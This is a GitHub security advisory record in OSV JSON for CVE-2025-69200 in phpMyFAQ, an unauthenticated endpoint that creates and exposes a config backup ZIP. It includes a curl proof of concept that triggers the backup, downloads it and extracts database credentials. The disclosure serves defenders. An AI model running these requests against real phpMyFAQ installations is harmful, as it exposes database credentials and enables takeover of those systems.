CVE-2025-69200: Thorsten/phpmyfaq PhpMyFAQ Has Unauthenticated Config Backup Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9cg9-4h4f-j6fg",
  "modified" : "2025-12-30T15:31:19Z",
  "published" : "2025-12-30T15:31:19Z",
  "aliases" : [ "CVE-2025-69200" ],
  "summary" : "phpMyFAQ has unauthenticated config backup download via /api/setup/backup",
  "details" : "### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` → `backup()`\n    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` → `createConfigBackup()`\n    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n  -H \"Content-Type: text/plain\" \\\n  --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.16"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.1.0-alpha"
      }, {
        "last_affected" : "4.1.0-beta.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-69200"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-202" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-30T15:31:19Z",
    "nvd_published_at" : "2025-12-29T16:15:43Z"
  }
}